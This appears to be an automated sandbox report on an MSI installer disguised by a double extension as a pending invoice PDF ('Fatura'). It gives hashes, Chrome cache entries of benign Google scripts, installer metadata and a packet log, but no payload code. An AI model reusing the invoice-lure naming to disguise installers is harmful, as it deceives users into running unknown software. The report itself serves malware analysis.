Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1195)
Category:	downloaded
Size (bytes):	208149
Entropy (8bit):	5.523997105504555
Encrypted:	false
SSDEEP:	3072:CvzurmTwftRRQImqy9hWfQ4lTLO8yrCI1vTdKH8DqqsFzxjmqm/jxPyBmsH:LqOqIGAy8GpKH82PxCxPyBmsH
MD5:	6DDD888BEFBC19A396E211BD6D184C57
SHA1:	F69E4E2BC875EA4C44F57D85AB8FF5D537ECB099
SHA-256:	2D2068E38F4A2E01A655635C2D977AB16370CE49ED84F00AE7F82CE250B12DEC
SHA-512:	71F7F8F4E400E752B84AD803E894D815D703B7271760773EC879D8B601E044720601A32D93F074E61AEF47A312A7BFF515A99EAE00BF44303E750FA1A897B07F
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_1"
Preview:	gapi.loaded_1(function(_){var window=this;._.Fg=(window.gapi\|\|{}).load;._.oo=_.Ce(_.Ne,"rw",_.De());.var po=function(a,b){(a=_.oo[a])&&a.state<b&&(a.state=b)};var qo=function(a){a=(a=_.oo[a])?a.oid:void 0;if(a){var b=_.ze.getElementById(a);b&&b.parentNode.removeChild(b);delete _.oo[a];qo(a)}};_.ro=function(a){a=a.container;typeof a==="string"&&(a=document.getElementById(a));return a};_.so=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};._.to=function(a,b){var c={},d=a.yc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.getIframeEl();e=a.getId();po(e,2);a:{e=a.getSiteEl();c=c\|\|{};var k;if(_.Ne.oa&&(k=d.id)){f=(f=_.oo[k])?f.state:void 0;if(f===1\|\|f===4)break a;qo(k)}(f=e.nextSibling)&&f.dataset&&f.dataset.gapistub&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	121112
Entropy (8bit):	5.837130305275228
Encrypted:	false
SSDEEP:	3072:kyW/Za21hsq1xCLqrQcS8xriAX7E1fbaRrcjSbPxtKDY/Ji/JPvhv:kyWhvHCLqEcS8xOAX7E1f2BPM
MD5:	EAAA71ED8F32B85F24FD3EBC43535BCC
SHA1:	CFFB0A1096D61DC0BA476D19381806BEC8264EF4
SHA-256:	AF2F1227E6BE9926C8A5E9FC5FCE394C150E19412248A3C8F9BC65076E3AECBB
SHA-512:	F178343DFD51C11A326D2322830436188122A3F56BF964C8075291F0D41489048735A356A605579F28B7DA67FFFDB87C2D390D82CE8AB61A54A907AD02CE49C2
Malicious:	false
URL:	https://ssl.gstatic.com/docs/common/viewer/v3/v-sprite60.svg
Preview:	<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0" y="0" width="31px" height="4060px" viewBox="0 0 31 4060" preserveAspectRatio="none"><g transform="translate(0,2170)"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,2428)"><path fill="#C4C7C5" d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,3396)"><path d="M17.705 10.1401L14.3 4H9.70001L3.60001 15L5.70001 19H13.8027C14.2671 19.8028 14.9121 20.488 15.6822 21H5.70001C5.00001 21 4.30001 20.6 3.90001 19.9L1.80001 15.9C1.50001 15.3 1.50001 14.6 1.80001 14L8.00001 3C8.30001 2.4 9.00001 2 9.70001 2H14.3C15 2 15.7 2.4 16.1 3L20.0307 10.0882C19.6959 10

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	116987
Entropy (8bit):	5.487092744347448
Encrypted:	false
SSDEEP:	3072:8gyvyaJrCo6iq9OWVpM3s8KjALDu/ASq0fIrs+a:8gy6o6iqrmKsd0fIrs7
MD5:	DF907C9E6BC048EA1505930FAB9010A9
SHA1:	51FF7084F44C713E30335C5D30CFC1AAC8F34774
SHA-256:	B3B7340EE6C9240EE8FCFEDA03C6EF4CE7DB0DD0DC213B19C8D4C87ADDC15105
SHA-512:	27D9A9B0372D97847418488D9F1DF50C0CA475156EF78E0103D45084580806232C0EBD3087729A9860E059B0DC620D367E0617B8BDE43FFBC8B42253C528B58B
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);.var aa,ba,fa,ma,na,ra,sa,ua;aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ka=fa(this);ma=function(a,b){if(b)a:{var c=_.ka;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)r

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.47887345911425
Encrypted:	false
SSDEEP:	3:pPX38/ZoSISHN87lSNDr1d:pPn8/ZoSfN87lSBBd
MD5:	844E7AD848816441E2F3D9E9D6E63047
SHA1:	D30409FA96F74212C26ABAEB5DE8D2857246EBA8
SHA-256:	963371AAD7DF37F73FC1DE7742D11DF335B339721B2C3308DA44188594F27F4B
SHA-512:	33C66E4109D085D6481F33744520A461FA8819852975A23EF7297B772D9AFB506A855FC738935DAD8FD1D6CBAD2F0BFEE88183AEA3A87F5276E34DCE41FEC9DB
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQm4AQ_njqwvuhIFDZFhlU4SBQ0G7bv_EgUNkWGVThIFDQbtu_8=?alt=proto
Preview:	CjAKBw2RYZVOGgAKBw0G7bv/GgAKDQ2RYZVOGgQIVhgCIAEKDQ0G7bv/GgQIVhgCIAE=

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HKmn:qmn
MD5:	EC331136E75314D2030EE013B6069921
SHA1:	6B7428B8B15616A67F767D42964AF94FCBE2A803
SHA-256:	A7358DF6B7B60280F2A0D7CD5B70A9F1DFA4FCE5C31FB1A24FB2F109AF7EE977
SHA-512:	30C9B411C937F7D3DE9E59D8BE1CDE4F262B05C6AC2EC2D2C1956E705FE255D84DE17913826A0378B7FD4E51E075EE72A6BF16B870BF78B83D4F1D4507A44278
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmlNHcUu78_khIFDQbtu_8=?alt=proto
Preview:	CgkKBw0G7bv/GgA=

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1077)
Category:	downloaded
Size (bytes):	8367
Entropy (8bit):	5.719677570635319
Encrypted:	false
SSDEEP:	192:qQHFaxz9rOsXzgp8iaeNEFy82MhK+I25wrMd9r:qAap9rO9OsEN2qK+I25cI
MD5:	5775F8A1815CE8EC29CDC00E458B6688
SHA1:	6176D77193C22955CD735656948135E4B68F8906
SHA-256:	03E1BE0DFD78F6C0F0E67CA1E59FB43ABC1B574B4F32A4C8DE657980552A5B8C
SHA-512:	F33CAD9E3B91F3E8479F34FC7B847F79F784CB1D81BB834B819C2BE7918B938326541D70FEF4F3B245E85AD66955E6AE9D0AAEC5FF54108E4847CD32C18495A7
Malicious:	false
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.uI26_hipfw4.O/am=wGA/d=0/rs=AO0039sRkkhQ7DX_Btd3fw-X7j5bjQ0r2Q/m=IiC5yd,sy3c,sy39,sy3b,sy3d,sy38,sy3f,sy5z,qDbUCd"
Preview:	try{.B("IiC5yd");./*.. Copyright 2020 Google Inc... Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restriction, including without limitation the rights. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell. copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:.. The above copyright notice and this permission notice shall be included in. all copies or substantial portions of the Software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR. IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,. FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE. AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER. LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Title: Installation Database, Keywords: Installer, MSI, Database, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Dec 11 11:47:44 2009, Number of Pages: 200, Security: 0, Code page: 1252, Revision Number: {0C667927-6D0B-4AB9-A01E-2A11C050934F}, Number of Words: 2, Subject: Fatura, Author: Fatura, Name of Creating Application: Advanced Installer 12.3.1 build 64990, Template: ;2057, Comments: This installer database contains the logic and data required to install Fatura.
Entropy (8bit):	6.638642572258602
TrID:	Windows SDK Setup Transform Script (63028/2) 47.91% Microsoft Windows Installer (60509/1) 46.00% Generic OLE2 / Multistream Compound File (8008/1) 6.09%
File name:	Fatura931Pendente956.pdf761.msi
File size:	614'400 bytes
MD5:	bff69c9caad1762cf45331e6ecea1049
SHA1:	593a8d261a31c08e73be5d119caa3a27e85f4d6b
SHA256:	949ac0a131df40fa1c35d211934acd66fca038c027bc074ae12f7806e3b814cd
SHA512:	1ee2edce8d699db3b28a7e7b8eb4e0c5c6d8230100ca6cad4f3f4db59a9df8d04ffb6f6a0c3cb5b751013b7b343e500a376d81039461ed5b65f57185ce9b7920
SSDEEP:	12288:L+xBvHA4YkTqp4n/+eT9NzecnIYUcEEn3:L+xBvHA4YHp4/+eT9N2YUcEEn
TLSH:	A5D4AF0373C1C636D5EB02315A5B93618ABAFC708632811B77DD661E2FB2682E3673D5
File Content Preview:	........................>.......................................................o...............................u..............................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 08:54:07.128268957 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:07.128331900 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:07.128406048 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:07.190690041 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:07.190711975 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:08.936095953 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:08.936172009 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:08.936199903 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:08.936240911 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:08.939594984 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:08.939600945 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:08.939831018 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:08.956017017 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:09.003331900 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.621347904 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.621372938 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.621390104 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.621448994 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:09.621475935 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.677397013 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:09.821391106 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.821451902 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.821580887 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.821585894 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:09.821640968 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.821655035 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.821671009 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:09.821702003 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:09.861326933 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.861399889 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.861428976 CET	443	49730	185.15.58.240	192.168.2.4
Nov 26, 2024 08:54:09.861433029 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:09.861494064 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:09.881304979 CET	49730	443	192.168.2.4	185.15.58.240
Nov 26, 2024 08:54:10.064269066 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:10.064313889 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:10.064418077 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:10.065056086 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:10.065072060 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:11.433963060 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:11.434078932 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:11.448373079 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:11.448407888 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:11.448831081 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:11.450829029 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:11.491344929 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:11.941231012 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:11.941250086 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:11.941396952 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:11.941417933 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:11.942569971 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:11.949335098 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:11.950053930 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:11.961792946 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:11.961975098 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.061681032 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.062866926 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.138427019 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.138855934 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.155162096 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.158859968 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.163618088 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.166857958 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.180373907 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.182853937 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.197158098 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.197366953 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.205782890 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.206065893 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.217511892 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.218852043 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.256012917 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.258872986 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.327963114 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.330868006 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.333925009 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.334855080 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.344880104 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.346858978 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.353682041 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.354856968 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.362294912 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.362863064 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.366695881 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.366777897 CET	443	49731	91.134.82.79	192.168.2.4
Nov 26, 2024 08:54:12.366810083 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.367063999 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:12.367063999 CET	49731	443	192.168.2.4	91.134.82.79
Nov 26, 2024 08:54:18.885963917 CET	49672	443	192.168.2.4	173.222.162.32
Nov 26, 2024 08:54:18.886003971 CET	443	49672	173.222.162.32	192.168.2.4
Nov 26, 2024 08:54:19.431410074 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:19.431476116 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:19.431714058 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:19.432240963 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:19.432280064 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:19.432334900 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:19.432650089 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:19.432678938 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:19.432960987 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:19.432971954 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:19.569757938 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:19.569817066 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:19.569897890 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:19.571985006 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:19.572019100 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:20.888447046 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:20.892955065 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:20.898742914 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:20.898746014 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:20.898761034 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:20.898771048 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:20.899780989 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:20.899837017 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:20.905119896 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:20.905205011 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:20.933818102 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:20.933928013 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:20.934084892 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:20.934343100 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:20.934359074 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:20.934360027 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:21.037858009 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:21.037882090 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:21.037888050 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:21.132673025 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:21.132782936 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:21.134779930 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:21.134809017 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:21.135051966 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:21.146301031 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:21.334150076 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:21.523925066 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:21.523947001 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:21.524013042 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:21.524135113 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:21.524135113 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:21.544168949 CET	49738	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:21.544192076 CET	443	49738	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:21.649807930 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:21.695358992 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:22.112061977 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:22.112242937 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:22.112328053 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:22.113239050 CET	49737	443	192.168.2.4	192.124.216.109
Nov 26, 2024 08:54:22.113276005 CET	443	49737	192.124.216.109	192.168.2.4
Nov 26, 2024 08:54:22.555078030 CET	49742	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:54:22.555115938 CET	443	49742	142.250.181.100	192.168.2.4
Nov 26, 2024 08:54:22.555186033 CET	49742	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:54:22.555473089 CET	49742	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:54:22.555488110 CET	443	49742	142.250.181.100	192.168.2.4
Nov 26, 2024 08:54:22.868546963 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:22.911377907 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.387772083 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.387798071 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.387804985 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.387819052 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.387829065 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.387835026 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.388021946 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:23.388022900 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:23.388062954 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.388120890 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:23.406929970 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.406936884 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.406985044 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.407011986 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:23.407030106 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:23.407080889 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:24.342825890 CET	443	49742	142.250.181.100	192.168.2.4
Nov 26, 2024 08:54:24.343067884 CET	49742	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:54:24.343097925 CET	443	49742	142.250.181.100	192.168.2.4
Nov 26, 2024 08:54:24.344085932 CET	443	49742	142.250.181.100	192.168.2.4
Nov 26, 2024 08:54:24.344140053 CET	49742	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:54:24.590749979 CET	49742	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:54:24.591072083 CET	443	49742	142.250.181.100	192.168.2.4
Nov 26, 2024 08:54:24.660696030 CET	49742	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:54:24.660711050 CET	443	49742	142.250.181.100	192.168.2.4
Nov 26, 2024 08:54:24.851495981 CET	49742	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:54:24.934354067 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:24.934386015 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:24.934438944 CET	49739	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:54:24.934453964 CET	443	49739	20.12.23.50	192.168.2.4
Nov 26, 2024 08:54:25.201500893 CET	49723	80	192.168.2.4	2.20.68.201
Nov 26, 2024 08:54:25.323163986 CET	80	49723	2.20.68.201	192.168.2.4
Nov 26, 2024 08:54:25.323471069 CET	49723	80	192.168.2.4	2.20.68.201
Nov 26, 2024 08:54:34.023641109 CET	443	49742	142.250.181.100	192.168.2.4
Nov 26, 2024 08:54:34.023699045 CET	443	49742	142.250.181.100	192.168.2.4
Nov 26, 2024 08:54:34.023843050 CET	49742	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:54:35.015655994 CET	49742	443	192.168.2.4	142.250.181.100
Nov 26, 2024 08:54:35.015706062 CET	443	49742	142.250.181.100	192.168.2.4
Nov 26, 2024 08:54:56.961051941 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:56.961097956 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:56.961163044 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:56.961354971 CET	49755	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:56.961369038 CET	443	49755	172.217.19.174	192.168.2.4
Nov 26, 2024 08:54:57.004926920 CET	49756	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:54:57.005002975 CET	443	49756	172.217.19.174	192.168.2.4
